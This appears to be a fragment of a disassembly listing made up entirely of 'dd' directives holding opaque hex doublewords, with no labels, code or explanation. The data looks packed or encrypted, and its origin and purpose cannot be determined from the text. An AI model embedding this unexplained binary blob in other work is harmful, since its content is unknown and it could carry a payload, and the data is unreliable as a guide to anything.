		dd 66D8C0FFh, 0FB788F9Fh, 0BA77C90Fh, 35077FE4h, 7C80DAD8h
		dd 0C1922Fh, 703962D2h,	0F481C260h, 287E0F01h, 0B1524AE9h
		dd 460ED4h, 3AC5FDAAh, 0DF82CC2h, 14E8C000h, 5B80541Ah
		dd 4C483D65h, 8E51FA80h, 2017E231h, 42ADB00Bh, 3FCB83CEh
		dd 302CC84Bh, 0C7F9A022h, 77B85Bh, 66464F68h, 84EB0394h
		dd 42B55903h, 8E0145h, 44BFA459h, 2B569E58h, 0B3357800h
		dd 4F31DCCDh, 0E6CF8F7h, 94EDE2Dh, 0CAB830DBh, 0F030F516h
		dd 0EF0D104Fh, 0ACE40CF4h, 15C05D87h, 0E356F20Dh, 0C8C4316Ah
		dd 0DBAA004Ah, 0FD1882F4h, 201F6F3h, 1B523BF8h,	2DC45A20h
		dd 9E7D0058h, 0F7A08A9Ah, 6F3B19D8h, 66988003h,	1BC1FA20h
		dd 6D0708E7h, 8039658Bh, 85A33A14h, 0EFF05F5h, 0EF023D66h
		dd 0DEFC1280h, 800822CBh, 215934D4h, 0BBA81F7Ch, 492E3B00h
		dd 2F0508CBh, 4500F490h, 39754B55h, 15B7C66Ah, 0AC2E5C8Dh
		dd 0F6BAF207h, 0A950FCDDh, 0C9502398h, 310E1DE0h, 0E1B76658h
		dd 1BBAFB82h, 0A7698C40h, 19264091h, 483E9330h,	982D5365h
		dd 54427294h, 1C89456h,	971B551Ch, 0ECA26FADh, 0A31E92Ch
		dd 163771D3h, 0CD1E8987h, 417130F1h, 6D07C98Ah,	0CC47B2A3h
		dd 0A66D9F0h, 0F6750E88h, 5D009E85h, 0FBBAF43Eh, 0FD7D8CAEh
		dd 4D8ABCA8h, 0BF0DA8A8h, 8509E703h, 0A0031750h, 0EA362B7Eh
		dd 64CB005Ch, 62EB1544h, 4202B696h, 0F9565889h,	0E820808Ch
		dd 3EDAA4D6h, 4F80618Eh, 115E05B3h, 0F4024BA5h,	0D18D9EB2h
		dd 0F5A89013h, 0AFA403A7h, 27372C08h, 0EA1C1900h, 0D7BF5F93h
		dd 5E210117h, 0DE8331B7h, 53423E3h, 96B0152Bh, 670DE840h
		dd 3FD3C00Ch, 75BED6D5h, 0DCBA0882h, 0BC90AB18h, 0BB022D40h
		dd 42A8EE3Ch, 7724448Ah, 0D0C60034h, 25AE9E83h,	74A80F6Ch
		dd 0EE00CC45h, 0F13F0917h, 63E89518h, 98303820h, 46038176h
		dd 13514709h, 0E10C0B6h, 0EACC90F3h, 85A21FABh,	0D22200D8h
		dd 29FA88D4h, 5D86048h,	4C8EEA8Dh, 59B0C45Dh, 37EBC44h
		dd 0C3418539h, 47A0CAFEh, 80ACE27Fh, 380084A6h,	0B6213C8h
		dd 51D46Dh, 0AEB23EAh, 5845C439h, 0F60FFA98h, 0A0CAE1C8h
		dd 61687F20h, 0FDF03A19h, 0C4175800h, 0BF6D920Ah, 3811590Ch
		dd 0D519CDh, 98F8563Fh,	96DDEB82h, 4A13AA00h, 8742C56Ch
		dd 79B0712Ah, 0E90901DFh, 8A21FBB1h, 43C6F403h,	400257Ah
		dd 45764993h, 0F86451h,	9FE1B16Dh, 0A3ADF2C1h, 0DFA67402h
		dd 821B77CBh, 20BAA94Ch, 2508C64Bh, 6A9A0D1Eh, 46026B00h
		dd 147AE22Dh, 14DCAB19h, 0EA98CB00h, 7E95A0D0h,	803B48DFh
		dd 198AF4B5h, 70D9C6Bh,	0A0A95124h, 8E4F005Bh, 0F200408Ch
		dd 7AECD55Dh, 0C06B1E77h, 0CE2DFB38h, 0EA0080B8h, 797CE2EFh
		dd 62A4A88h, 879EAD52h,	3830F86Fh, 319F81CAh, 0BAF0E5h
		dd 0A030771h, 20B64B8Ah, 63962D03h, 97C9E1ABh, 0B4BFE6A0h
		dd 0F7D47h, 80840E8Bh, 77C6228Fh, 2AC84254h, 0B9F54330h
		dd 0DFE0A9A0h, 71401B99h, 73922BE0h, 0DDD8C650h, 1A199900h
		dd 0F3058F43h, 444F1DFAh, 6514C0F1h, 39CBD0C0h,	3B01C55h
		dd 3A1FC5BCh, 0CE43651h, 8998B41Dh, 56A470h, 1F2FA25Ch
		dd 2CE58A17h, 0C6AF7902h, 4C623F67h, 7F2A3B14h,	77C13961h
		dd 0FDA98EE2h, 83077FC3h, 0BA40E618h, 113D993h,	0F311BBD0h
		dd 8A6B5401h, 0D896A0C9h, 134FC140h, 1CB6480Eh,	0B9A1A0C6h
		dd 12145802h, 4033A3FDh, 0F3E00h, 66D6F934h, 6186C009h
		dd 4ACA4C00h, 603C7DFAh, 0E84F005Eh, 4B038FF2h,	5D06DFA2h
		dd 6A8783B0h, 665430C1h
		dd 639A4589h, 88A0B67Eh, 5C5C744Bh, 0E83B7380h,	1BF85085h
		dd 60F25504h, 1881EBFFh, 16046A2Ah, 0C0ED1CE4h,	4C138733h
		dd 0B015D230h, 0C3D4774Fh, 1228FDCBh, 70AA19D1h, 0BED83874h
		dd 4330D6EDh, 3FE900A9h, 42768119h, 0B2244058h,	258010A0h
		dd 0EE10021Ch, 0E4D700EFh, 0FA592EC5h, 200407F9h, 0D4FFF257h
		dd 0D387080h, 42BCA652h, 0B82A2E97h, 0F6230E01h, 6884622Dh
		dd 0CCAA29F8h, 0BC0E1910h, 7E4FE347h, 1B95D907h, 3EC17680h
		dd 0ADD3008Bh, 9354D667h, 58A9AA0Fh, 39F10049h,	0A8577692h
		dd 0C5A97CBCh, 229BA0C1h, 0FA3808F0h, 30F3EADAh, 9389B942h
		dd 0F8008D9Fh, 71779CEDh, 0F67841AEh, 0E2B60315h, 229D04E6h
		dd 709E48E0h, 376160C0h, 7128D64Ch, 0EF4600F7h,	0B569D71Fh
		dd 9C00DA5Ah, 5DD01A4Fh, 63E7019h, 54677D3h, 60171C6h
		dd 292DBCDAh, 3C08407h,	24BF8CBh, 71877391h, 0B06C3946h
		dd 886CB424h, 0F8D1480h, 13A25E9h, 0ED484A2Ch, 0C02BEBD4h
		dd 650916DCh, 9841FDA7h, 18174340h, 0B971990Ch,	9403ABFCh
		dd 0E2855DD6h, 5680EF6Eh, 34325BBh, 6397C0D8h, 78248FFCh
		dd 0F1C434CFh, 4C297CCCh, 0A73A2CDAh, 89634180h, 8E357B79h
		dd 1711FB07h, 0EAE258C0h, 0AFCB207Dh, 8370104Eh, 0EDE6700Ah
		dd 9E1FF428h, 1C3AD4EAh, 5F2AAC37h, 0F6891503h,	0DFC809F2h
		dd 0CC82EE93h, 0B423C18Eh, 408900BEh, 0EECE5C02h, 0CA09859Ch
		dd 203477CDh, 0ECE533A0h, 0E05C0049h, 0AE939732h, 3071385Dh
		dd 9464CF28h, 190496F0h, 0E10AA30Ch, 44E988C8h,	0F4CC17Eh
		dd 3B15081Ch, 0F0AF1082h, 93FFAD1h, 6745541Bh, 388BC05h
		dd 0D407AEABh, 748BB900h, 0FFDA83E8h, 0BA9B242Eh, 0F03867C8h
		dd 0B99C10Ah, 7CD83453h, 5A134818h, 1392914h, 0C42B977Fh
		dd 0E4E31BA3h, 6048FF5h, 5DFC3583h, 640098C4h, 0A84DC81Dh
		dd 9E7D02FFh, 0A1E78101h, 0A015A44Eh, 28982B93h, 1C005438h
		dd 0F6677189h, 0C3D2D96h, 0A777454Ah, 25009059h, 0AEEDB9FBh
		dd 791ACD74h, 3A484830h, 0B524DC4Dh, 4AC04058h,	4E0011A5h
		dd 0E32B63B4h, 168184h,	49DA7DBh, 482DFF6Eh, 0D05D7413h
		dd 32BF8405h, 66A08840h, 0A5150E49h, 12F413B4h,	2930009Bh
		dd 2DEC10Eh, 0CBB52802h, 84702FFCh, 28C150D0h, 0E8931E49h
		dd 0CAC4604Eh, 29D22E28h, 11003C14h, 0F700A6A9h, 70AFDAFCh
		dd 0E4052FFh, 8149F040h, 0F7B04894h, 1646F03Eh,	0B40C5ABFh
		dd 16190Dh, 0E6604C31h,	28BCDC9Ch, 8A4DF51Fh, 0E9DEE880h
		dd 31FD13B4h, 0D0D02B6Fh, 47389D1Ah, 819CAC54h,	9F45E9CEh
		dd 0D880F5D2h, 0A2E69801h, 413B1100h, 0C446572Fh, 0AC905Ch
		dd 0E1809E4h, 14453064h, 402F0D3h, 4068E363h, 720D4B94h
		dd 7C4E2449h, 6CC541C8h, 16F0261Ah, 0BC27B4EBh,	5E0AED60h
		dd 58C50310h, 0BD558D87h, 0D4CDCBA8h, 0D04E3300h, 7618E745h
		dd 2EA4003Ch, 1CFBC4F3h, 0BB5DDD7Dh, 0C1AA84A8h, 72DB0420h
		dd 298F620Ah, 58BE988Eh, 0E099018Ah, 23D36331h,	2E3319D0h
		dd 0C90C5DDBh, 0F4A56089h, 0B8C61002h, 0C13BEA80h, 0A600BA57h
		dd 0E7BC5B69h, 738E4377h, 3D7800ABh, 6A923E5Fh,	14B0417Dh
		dd 0F655E21h, 5CB0309Dh, 10718050h, 0ED88A1h, 0CA3C12D7h
		dd 6CB7AE40h, 0D5E28B0Ah, 0CAE79CB2h, 433C1029h, 22010EB8h
		dd 32B277C7h, 0A0314748h, 0B0F4C4C6h, 90A099C0h, 0B5F78492h
		dd 285D74C8h, 0F6B67601h, 771C0F63h, 0A769FAECh, 5091E816h
		dd 2898D03Eh, 8AB82758h, 4E118498h, 0C7AC1B24h,	0F0347004h
		dd 32CFFAEh, 0A3E64049h, 0D6853C89h, 0E2DDB280h, 0E09D3A4Ch
		dd 0F0BA9F04h, 0C132AC1Dh, 95350760h, 3C0694B8h, 0BBD1FE89h
		dd 0D3AC2290h, 1444B48h, 0F909468h, 199EDF16h, 40525F1Eh
		dd 0CC3A6473h, 9A0B1513h, 0AC2CE927h, 4C5260E0h, 3059D0ACh
		dd 8E88358Bh, 0EB280ACh, 7B5D0310h, 8466000h, 32FBD359h
		dd 0CDC00C2Ah, 5A71C338h, 8D98D901h, 1A74BF07h,	0EF9ED44Ch
		dd 0BAC0A850h, 63F40ADBh, 9F9998h, 4BD51552h, 549343E5h
		dd 443B8024h, 5B30027Ch, 0B1A82614h, 790EBAC0h,	48363F00h
		dd 4C9EC857h, 96B07482h, 6628054h, 0A047CE7h, 0BD5FAD00h
		dd 30F84FD6h, 102DEF2Ah, 8127DD84h, 3A99E61Dh, 0A012EFE0h
		dd 53DD98Dh, 0E0176396h, 0A8E008C9h, 0CE3A2C83h, 0E1BB8BCCh
		dd 22F2A9h, 34E3D203h, 0A07B136Dh, 0C450A148h, 0A21687Ch
		dd 0CB22D219h, 12A46420h, 1547AD74h, 6C941C89h,	389C1380h
		dd 5891B16Ah, 28E08A4Fh, 469EDA0Eh, 44E95DF9h, 6A0726C6h
		dd 1BC128EAh, 0AB296060h, 330C01DDh, 8D3CA5D6h,	0AFF0887Bh
		dd 3EA391E1h, 95660069h, 7E1C8513h, 0C5125A1h, 20124EF4h
		dd 8CE81C30h, 13457F86h, 4054FFA5h, 84745D90h, 5253FC0h
		dd 17F422A8h, 0B838036Dh, 2F7CA10Fh, 0E5B8042h,	755F1A5h
		dd 75D92B45h, 0F06547ACh, 4CCCC985h, 34A8CCB9h,	2954CCB0h
		dd 8D01B6FCh, 568FEE2Fh, 0C4706AABh, 0CAD1C5A7h, 3894C874h
		dd 0C627FC90h, 927C1052h, 609558A0h, 7F700B92h,	7890609Bh
		dd 929A020h, 0C69160C5h, 3DF82800h, 0A90A2F76h,	2055B600h
		dd 4C44E85Fh, 0B72209E3h, 64669BAAh, 0A20955E4h, 2E213ECBh
		dd 8BDC9400h, 88E40108h, 0D01EBFFh, 2882D47h, 135A2849h
		dd 0A960B1C1h, 664210D2h, 4F74588h, 0A4E6E040h,	11D4E61Ah
		dd 0CF27FD58h, 0A8572030h, 4C58A44h, 50743343h,	8F14E0DDh
		dd 0AD85C201h, 95A17FB6h, 7C406409h, 50B8F062h,	90104C22h
		dd 8EC705ECh, 62AA556Fh, 0B8511BA4h, 1D2A5091h,	0B9CA03D8h
		dd 264FD2EFh, 60E98C0h,	4580ED01h, 0A0B0E925h, 420A2C74h
		dd 744A00A7h, 107DC168h, 1A4F0FBDh, 0F09E8BFCh,	0F2CB7F70h
		dd 2BBCFF55h, 8415FCB1h, 7FA2D8D8h, 6CAE0C5h, 547412Dh
		dd 0DB8029CEh, 591D5EE2h, 0BEC9BD69h, 4BDC30EBh, 8040949Eh
		dd 94DAC9A7h, 0DD00C44Ah, 7C908720h, 2088DDCh, 0F90E5923h
		dd 464EBCBh, 80E83E26h,	1E65BA60h, 0ADAE0074h, 0B0938584h
		dd 0A200D5DFh, 0C93AF24Eh, 49AF47C2h, 0B48430C6h, 0A4009372h
		dd 60C533FFh, 3B5D40C0h, 0AAAC1109h, 0B79004C6h, 40F7B445h
		dd 1F83E4F8h, 0C1F47DD4h, 345D530Ah, 29C2E424h,	41245961h
		dd 0F447A6FAh, 0F8000A9Fh, 0BFFB1524h, 1A9AD9E7h, 29ABEB29h
		dd 0CB8FAF40h, 0CA30EC3Dh, 0CE74E032h, 0B5291480h, 88423465h
		dd 56E1DA00h, 159B725Fh, 0C1AFD000h, 32EA2C43h,	1E7759h
		dd 0E68288B2h, 69BE8A61h, 11683362h, 48184042h,	600B83AFh
		dd 84C6A95Ah, 8450CAA4h, 864780DDh, 0F29DE5D7h,	0B18DBB08h
		dd 0F2BC6421h, 407A1CACh, 490F59C0h, 0E665C019h, 765821h
		dd 0CEE4F381h, 757FCF9h, 0BF45E301h, 0D229D6C0h, 0C1222837h
		dd 66E827FCh, 0FC1D2307h, 53114AAh, 0D427A94Ch,	8C535415h
		dd 3696A00Ch, 0D7603871h, 2E0B8449h, 55240050h,	2080FFA0h
		dd 9E3B4C3Eh, 0CBCA8032h, 0C1BF0C9h, 69C504C0h,	0F51577B8h
		dd 126BC984h, 5130625Ch, 20F428DCh, 4316FE8Ch, 8C884CA7h
		dd 41438696h, 39F80B96h, 0FF232C64h, 200D00FEh,	32DF75CBh
		dd 0BFEBE800h, 8972E681h, 29462473h, 0A73A841Ch, 0FA90C1E3h
		dd 0B12C20FCh, 9031F52Ch, 0E35C055Ah, 54BE8C0h,	0AE5E8869h
		dd 0F4059B7Ah, 7C8E9239h, 0CC38ECC1h, 579F2180h, 9A5301FCh
		dd 15692F07h, 8AA08F2Ch, 5C5512AFh, 0DCC500B6h,	8AE02013h
		dd 0D2901C05h, 4801DF90h
		dd 5915B143h, 8EC0C67Eh, 589E00ABh, 0BEE157B7h,	0F8C05C93h
		dd 0B5CC42F3h, 3C5458DFh, 9D9A9900h, 274FC301h,	0E6700E12h
		dd 459B8088h, 0A43337h,	52DF26CBh, 0C0BE7C04h, 6B0C65ACh
		dd 140E3B82h, 0C40D13FBh, 0B8CD4305h, 25FCF402h, 2A408198h
		dd 9EE848EBh, 0E000B0B1h, 4A733E89h, 17EA2E4Ch,	0E66B0818h
		dd 0F03AF30Ah, 4E4BCE61h, 0E0989C29h, 23022A16h, 0C87ADFCFh
		dd 93D160AFh, 5C089027h, 33D78477h, 88944220h, 0AC0E9FB4h
		dd 0D2A6D2B8h, 6E4D8471h, 68655842h, 0F29418BCh, 3D5F002Bh
		dd 0C4E235C5h, 6300A522h, 89FE89Bh, 16627778h, 20B2404Ah
		dd 0DFC0D378h, 50C2EA1Fh, 14F252C5h, 60056888h,	7C5CD1D5h
		dd 30F408E6h, 754F9912h, 54DE7060h, 0B6BB3A76h,	0BE78F8E0h
		dd 1B595351h, 133882C0h, 202C20C3h, 5D095A57h, 6842D326h
		dd 97DCA4h, 8CA57C47h, 0FA1ABFFFh, 3CC5D802h, 60ABF5A8h
		dd 287529D3h, 56A4E3DDh, 0B511EC40h, 6FB41363h,	0DC961440h
		dd 0CDDD02h, 8846C6FAh,	0B035C274h, 404C4D00h, 0D7D253Dh
		dd 0C922AA3h, 804C91BCh, 8EC486B3h, 2D980942h, 0D1CD1800h
		dd 923EB152h, 1C784EA6h, 1B9D110h, 1CE4AFC1h, 5CD14A12h
		dd 44A7C460h, 5307F3D6h, 0C75445FFh, 0E87F177h,	2894C680h
		dd 1D70A8h, 0F1E5FC8h, 79C705AFh, 8D0066F8h, 50ECAB52h
		dd 2C1AC4h, 0A9535A07h,	15FE0205h, 0B0017B70h, 10F3C896h
		dd 1DFF117Dh, 30F11A60h, 6DE58C50h, 1B20C4Ch, 6F696C07h
		dd 28871039h, 10F736FCh, 789F7E8Dh, 0F09B931Dh,	244FB83h
		dd 87C094CCh, 636B028h,	2C5F3CBEh, 0B60359E7h, 4EB7CB7Eh
		dd 0F6A08012h, 111FECFh, 0A8999FE5h, 0FD8F2750h, 75D98002h
		dd 0F3C384E9h, 7695273Dh, 0EDA6A0E0h, 0D7086500h, 0DC5B547Dh
		dd 7FCC00DAh, 0EE4D10A2h, 71374491h, 0EF13B138h, 8CDAD0D1h
		dd 756703D8h, 7384CBBDh, 3CB250B8h, 0F803D400h,	32D54F28h
		dd 14617C09h, 0BC3E1086h, 74FE5F00h, 0F42FF9DAh, 400EC9C0h
		dd 0F615BAh, 0BCA11AF3h, 0E6EBF5E3h, 4AA9A403h,	4603D0h
		dd 0AF617DD0h, 12E768C5h, 2595CE07h, 96A0591Fh,	506E7241h
		dd 3A86C02Eh, 2F402716h, 7669FE60h, 0F0D9FDh, 97320A8Ah
		dd 0B22D5280h, 30307CA4h, 8A26A93Ah, 0EB970052h, 0A787EE65h
		dd 2100FB04h, 0FDBDECFCh, 0D8F0CBh, 2D69675Fh, 911DA6B6h
		dd 34FC2224h, 18984115h, 4C513B30h, 5C8501D4h, 0BBA24D9Eh
		dd 0A768708Bh, 0B87448h, 25D61E1Ah, 1D71D464h, 77A2E454h
		dd 75C92C90h, 0A79E9124h, 723DFF05h, 55501C0h, 0CCDC023Bh
		dd 85D624D5h, 917080A2h, 3235F0A3h, 50199FC0h, 47BDF50Fh
		dd 0FB00DF49h, 0A8278012h, 0A17714EAh, 0BD003431h, 0D5380CAFh
		dd 0FB156654h, 3286A0Bh, 41FC7F59h, 158A052h, 69B11429h
		dd 1EC9C496h, 0CEC02438h, 0AE32C18h, 3CD6F828h,	52001E38h
		dd 8B1128A1h, 0EF03494Bh, 89DAF408h, 60683D77h,	173FC56h
		dd 6606C427h, 0F8399AD4h, 8615FB85h, 0AB03813h,	80B6D341h
		dd 23479244h, 6AE1E647h, 0AE395E05h, 5826F994h,	5310A838h
		dd 0C06106A4h, 789F11D5h, 42128614h, 0BD801B30h, 61786F29h
		dd 85BA1181h, 0FEA04812h, 0FC004979h, 192D5A8Fh, 28866A98h
		dd 87243B0Ah, 0B4120ED4h, 6989E380h, 860235E9h,	0AC547292h
		dd 330440A5h, 5088AC48h, 0ED22831h, 9B16214Bh, 0FEE0994Eh
		dd 1BBCDC0Ah, 0F0901F70h, 0EFAA5F00h, 5D780CAEh, 0D9F312BAh
		dd 20502545h, 8BBF094h,	0C300D470h, 166FC5CDh, 13616284h
		dd 61057A59h, 988F702Ch, 65EC36B9h, 7551004Fh, 108B1DE5h
		dd 82AF06Ah, 4970F8F7h,	11C50500h, 0B0599DB9h, 9BFCA027h
		dd 87538848h, 548A9E88h, 26CBC8CAh, 60B0160Ch, 30221D72h
		dd 97E8074h, 0A9583600h, 6A2407E8h, 872512B2h, 86FC2C1Ch
		dd 90E23F00h, 0A23EA68Ch, 1F583F1Ah, 61E50384h,	60A08244h
		dd 7827FCB0h, 41F96930h, 3A926574h, 4E070C32h, 1BF3B7C1h
		dd 0EB819800h, 7F006806h, 4D828522h, 1804027Ah,	892431F8h
		dd 480EBD1Dh, 0E8108EAh, 761CC0ADh, 3AB39825h, 0F8C80EECh
		dd 24A6BC10h, 31E37C64h, 814900CFh, 0BA7CCCE6h,	0D1DC1ACh
		dd 0E0821EAEh, 48D50C54h, 1E92394Ch, 1C4EB9F1h,	0C4591458h
		dd 0CCA10215h, 3706F483h, 0EC5488BDh, 981F988h,	966FAFDDh
		dd 0E5B16880h, 0E898D78Eh, 88898F29h, 205D1209h, 0A86BB160h
		dd 0E1900158h, 9C44B06Dh, 426ADDAFh, 7320A3F0h,	80769B6Fh
		dd 503810F1h, 49CC47h, 0E6D55516h, 9240319Ah, 0E5890168h
		dd 0F395516Fh, 0E0F9F9F4h, 60029A13h, 645E4767h, 0FFDC61A4h
		dd 76E040CEh, 155431F3h, 0BB3D3061h, 51BD8049h,	0B398E14h
		dd 0DE5D2425h, 1D5C028h, 7100CAF0h, 0FFA8D4C3h,	95BAF49h
		dd 812989BEh, 7DC30018h, 991F3DF6h, 78C0B364h, 0E508414Eh
		dd 3BA900F2h, 0FC2ADA76h, 0BCACA469h, 4D54F415h, 5C6C50B4h
		dd 0A8C21288h, 0BC07A0h, 0B9FC27CDh, 22661679h,	171DFEE4h
		dd 2AC4048Ch, 4C98C310h, 0DC6A0F08h, 899C3647h,	3820E096h
		dd 5AD54C65h, 28610734h, 3E9CDCh, 0FE921C65h, 26ABB2CAh
		dd 4FC18F18h, 18DA7591h, 11EF2F04h, 3260E11h, 4900F588h
		dd 61DD1FB9h, 2A9F0010h, 0D160B63Eh, 0A093D707h, 70899E0Ah
		dd 9D707305h, 7FC8C840h, 78D590h, 0DA4C6830h, 2A0C9912h
		dd 0CE77FA05h, 7052C1A9h, 68DB8830h, 0F185004Bh, 96446018h
		dd 8FF6F409h, 0BB00F4A5h, 14490AC8h, 0EA780922h, 3C8956FAh
		dd 887BB403h, 30273008h, 86FF8040h, 3738E95Ch, 0D04CCF00h
		dd 0A6F6AD84h, 3A702A68h, 2D9B00D8h, 9E804720h,	831D6F41h
		dd 68400B31h, 5160EA52h, 291E2A58h, 0B642BCh, 0CC4B920h
		dd 497B24D0h, 1D04CCD2h, 8B69B7E3h, 11E6085Ch, 20CE1D53h
		dd 22C3103h, 88DF1B62h,	1FC68B52h, 108F6C3h, 14EA8A0h
		dd 557C30ACh, 6AAA1509h, 7F888069h, 128FE7DBh, 6128FB59h
		dd 245A1244h, 7A14F338h, 31E7E815h, 26D284FEh, 2187FC72h
		dd 2B9911D9h, 86707429h, 0A045142Ah, 98FC9E02h,	0C95E0F08h
		dd 0F422EFE0h, 84902869h, 892552Fh, 0A6F1C92Eh,	2BE1FC01h
		dd 5C7314D7h, 9226CA00h, 798C91CDh, 2F4AB58h, 77A9F5BCh
		dd 4D38C4E0h, 0CB8560A0h, 7DF00695h, 8673D98Fh,	0C87459h
		dd 161069FEh, 0B0A7473Eh, 0C16830F0h, 769C7029h, 8DDD80h
		dd 0B7FA0E44h, 3C51E53Fh, 0F0858109h, 60B0482Fh, 6699004Eh
		dd 145B0121h, 0DE248D70h, 9260AC4Bh, 0C0FB8A8Fh, 201D7331h
		dd 780014D1h, 679B02CEh, 24F718C5h, 802C4370h, 55F6A7Bh
		dd 5B00627Eh, 9E8CE9F1h, 25450B5h, 0B27D35C8h, 0E0B098B8h
		dd 1513DD26h, 5C130785h, 0DC8FA81Eh, 406E4F2Dh,	0FC06337Ch
		dd 58B0BAD4h, 8C10281Bh, 0C5027EA2h, 6E887F8Dh,	8B446050h
		dd 43C841C9h, 995C4CA8h, 23938E7Ch, 0C8D57908h,	0F46742h
		dd 49EA2535h, 0FC5D7B2Ch, 53D6F058h, 9C90244Ch,	998F2360h
		dd 0A7F474h, 49E31A5Fh,	545B8B3Fh, 87F28D00h, 9BEFFC3Ah
		dd 0DA56056Eh, 2C7F28B4h, 490050D0h, 0F80177FBh, 1DB4E5F2h
		dd 52802B10h, 0D6389819h, 0C0F8F65Ch, 20D998B4h, 52272C1h
		dd 9CFEBFBCh, 53809C28h, 64963494h, 49FA309h, 0F7445F64h
		dd 0ECB2FDh, 5EECBE5h, 10B467D8h, 532731h, 0AA424A08h
		dd 10B7035h, 736CE8F6h,	6116EE4Ch, 29986682h, 730340A4h
		dd 0A019E32Dh, 58D734D8h
		dd 3C068872h, 0C99654F9h, 69A49E31h, 0A4726A1Eh, 5778A81Fh
		dd 8404BA48h, 3CC866D5h, 11D9151Ah, 0C900A4C4h,	2C0FA5AEh
		dd 36C015BEh, 0A99860B3h, 0BB5E3B01h, 475C147Ah, 88A4E429h
		dd 9100B7DCh, 0E18F40F9h, 0DD39EEh, 0E0B2E4C9h,	9AA89B95h
		dd 710C6E0Ch, 6B319Eh, 3FC90B81h, 30CD21DDh, 0E1BC9002h
		dd 0B091CC20h, 92062FD8h, 6EE70040h, 8EBA1BD5h,	980E7A25h
		dd 0A089519Fh, 7B13C216h, 742A26F9h, 2C57C250h,	0D3EE1C72h
		dd 42AB3800h, 0ED53E7F9h, 0E0C23879h, 425C9CA6h, 76244313h
		dd 3E08A4h, 24BC1DAAh, 0F3F4BD7Dh, 0D7550E12h, 8A709C08h
		dd 80C00930h, 0B1A0F9ADh, 0F89C46DEh, 0EF70E567h, 819EC97h
		dd 0F8C08F54h, 81284A4h, 13F710D0h, 0E44003B6h,	26312937h
		dd 66525900h, 6985E91Ch, 0E0180711h, 0A24A0CE2h, 6C4071h
		dd 9444A898h, 1A7E022Bh, 67D49BDEh, 0CA3A6C45h,	5CA4EC24h
		dd 0F88E1C2Dh, 42FB1D3Fh, 0CB858487h, 7F0CA7E0h, 95B01892h
		dd 0EC869C02h, 466964DAh, 0DF6D00C4h, 99652CB0h, 440445F3h
		dd 16FD82C5h, 0C9D4C0C2h, 93BD670h, 4C227E64h, 2408097Ah
		dd 0AEF7B380h, 1F52F94h, 610CA5D5h, 2C141BFDh, 0EA06D86Ch
		dd 9DD90FC3h, 0C5829AD7h, 58E0DBDCh, 46098859h,	336A905Ah
		dd 0E0E6A428h, 4200DC42h, 0BD59C950h, 48F1A001h, 57005878h
		dd 42FD8AD3h, 52DB0687h, 85809C44h, 74B64EE1h, 2A8C7502h
		dd 6156C108h, 0F4106314h, 0E1C29905h, 4B50C09Eh, 94DCE100h
		dd 0B0465512h, 0B6283400h, 2D85ABC4h, 0EFA4027Dh, 0A09E4186h
		dd 0C001859h, 46CD29B2h, 0EE1F007Eh, 9198502Fh,	510BAD5Ah
		dd 990499D8h, 0C0FC7FBCh, 0EEE31419h, 1C00700Eh, 62934F82h
		dd 6A2CA18Eh, 846920DCh, 90545B88h, 0C4790837h,	0C4CC9747h
		dd 16CF5A0h, 527FBEBCh,	7A1262ECh, 125A0060h, 201C4DF1h
		dd 0EDFA3BF8h, 69F79516h, 0E9E84B0Fh, 0E454E650h, 0B0B11Ah
		dd 107A2F92h, 0F600387Dh, 89D8347Fh, 0C2132AFh,	910C4897h
		dd 100ABA9h, 802C4CFCh,	5D38F631h, 87887060h, 8FBB2D80h
		dd 176DA50Ch, 0EA8E4D7Dh, 0EE3B0F03h, 14988C78h, 14F68824h
		dd 3D947601h, 0B017E20Ah, 5A051F4h, 0E91D86F8h,	0D668A0BBh
		dd 0DC41114Ah, 9BC5C85Ch, 777CE30h, 85B0453Ah, 0CF5461D0h
		dd 0E627F826h, 4AB8D20Bh, 0E848AEF0h, 0E42449h,	85483AB2h
		dd 24028339h, 281F7C4h,	0A94B015h, 0DE100092h, 0B627EE1Ch
		dd 930211A6h, 8672D8B8h, 17C8E40Fh, 539F8941h, 48386898h
		dd 26284712h, 1DB51F0Fh, 23F6F0AAh, 6C8D4303h, 0E180D5F8h
		dd 59804131h, 73BEC4E1h, 4300874Dh, 3461C82h, 0C8F7FA30h
		dd 1F85DED0h, 5C0053ACh, 9AD2F184h, 722427CEh, 0B028ACA0h
		dd 0CA1F5DE0h, 0F82C42C1h, 5A82740h, 1190601Bh,	5E9592A6h
		dd 0CC57A305h, 6C327FC9h, 60863AABh, 2F5BB139h,	4D02E047h
		dd 9C554810h, 36651C1Dh, 8EACC02Bh, 0FAF60DA8h,	0C0143E4Ch
		dd 78B934C0h, 0D65B0E4Fh, 5C64C2A0h, 8FACB080h,	0ECF7BC26h
		dd 61D9E70h, 4927AA05h,	24B2E9C9h, 30F49344h, 9E319047h
		dd 0A1D004C2h, 70634FC0h, 51AFC092h, 64051797h,	0F37070FCh
		dd 0EE8895FEh, 0C60A0062h, 504AB4CDh, 6649E173h, 9010DFF0h
		dd 8C461289h, 2F4E24B0h, 0FD9B6C41h, 91E815CAh,	0A759001Ah
		dd 6AD9D1B0h, 0C22876BBh, 0CA44F485h, 0BCD33241h, 8F27059h
		dd 76FD905h, 0C0FF1527h, 0F0315BC0h, 0FB414702h, 51B0AFFDh
		dd 61818F98h, 0C6E41141h, 80C3D11Eh, 0C477C851h, 0FF651h
		dd 41CB1AB4h, 9D93F928h, 5B9CA501h, 9701805Dh, 1498C58h
		dd 0FAE93CCFh, 2D4F8F34h, 48751E38h, 292892BAh,	0BCB21864h
		dd 0C6590B01h, 307BE332h, 0DB584F9Eh, 0B3A000FDh, 9180735Dh
		dd 890C9411h, 0A46C637Ah, 1FE7D301h, 0ECF84F90h, 0A4B55A30h
		dd 603E0574h, 35C1D3CEh, 2F4488C4h, 1FAF244h, 0F819FFE8h
		dd 0CCF7069Ah, 0B9098140h, 0C8108724h, 74D2FE08h, 77E9120Ch
		dd 0A28874C6h, 0CEC43F2Ch, 0C003820Eh, 5107B935h, 21D0003Bh
		dd 1AA2056Ch, 4B4CF50h,	886098E9h, 47778455h, 6F90E18Ah
		dd 0A400BC39h, 559BDD7Fh, 8C48ABFFh, 48FD2290h,	0A4803C12h
		dd 0C42313C9h, 9D885E12h, 4A8E2404h, 0DA74D600h, 770BE846h
		dd 901DA998h, 0D750CCh,	27626D9Bh, 34E73CAAh, 301D4826h
		dd 9219D6C0h, 12B50411h, 0B43126D9h, 0B39EF5Ch,	0F26D00E0h
		dd 0ED720DF5h, 0C87BBCh, 3A92E3A4h, 27A89C3Fh, 0D8C6D524h
		dd 0B8907092h, 50CA389h, 8B67054Fh, 0C4B47428h,	5F18A005h
		dd 99021B25h, 97E112C8h, 0DC22BC2Dh, 48C39E25h,	0E817300h
